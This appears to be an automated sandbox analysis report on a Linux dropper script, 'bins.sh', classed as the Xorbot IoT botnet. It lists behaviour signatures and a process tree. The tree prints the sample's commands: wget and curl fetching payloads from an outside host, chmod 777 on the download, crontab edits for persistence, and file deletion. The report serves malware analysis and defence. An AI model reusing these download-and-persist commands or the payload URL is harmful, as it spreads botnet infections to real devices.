Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10/02/2025, 15:26

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250210-svf8fawkbl
  • SHA256 e5786b748e9e0dfecf25461eaa7ed4492eed8ba1ef8f0ad3b74e00eca8e6ea4f
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2055) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1516
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1517
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1518
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1524
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1526
      • /bin/chmod
        chmod 777 sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
        2⤵
        • File and Directory Permissions Modification
        PID:1527
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1531
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1533
        • /bin/rm
          rm sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
          2⤵
            PID:1535
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/GTLHTl3pCK2S8jb5dGkrcNM3aNc89JwiKM
            2⤵
            • System Network Configuration Discovery
            PID:1538

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
              • Path /tmp/sCCsvxThgkWJq2MVXtbB0WwAVcqorviVWh
              • Size 98KB
              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              tmp.sYDOmq
              • Path /var/spool/cron/crontabs/tmp.sYDOmq
              • Size 210B
              • SHA256 12d17ad07b03045f153429806311e01908056334696b4176334e348f027a1174
              • MD5 SHA1 SHA512
              Submit Download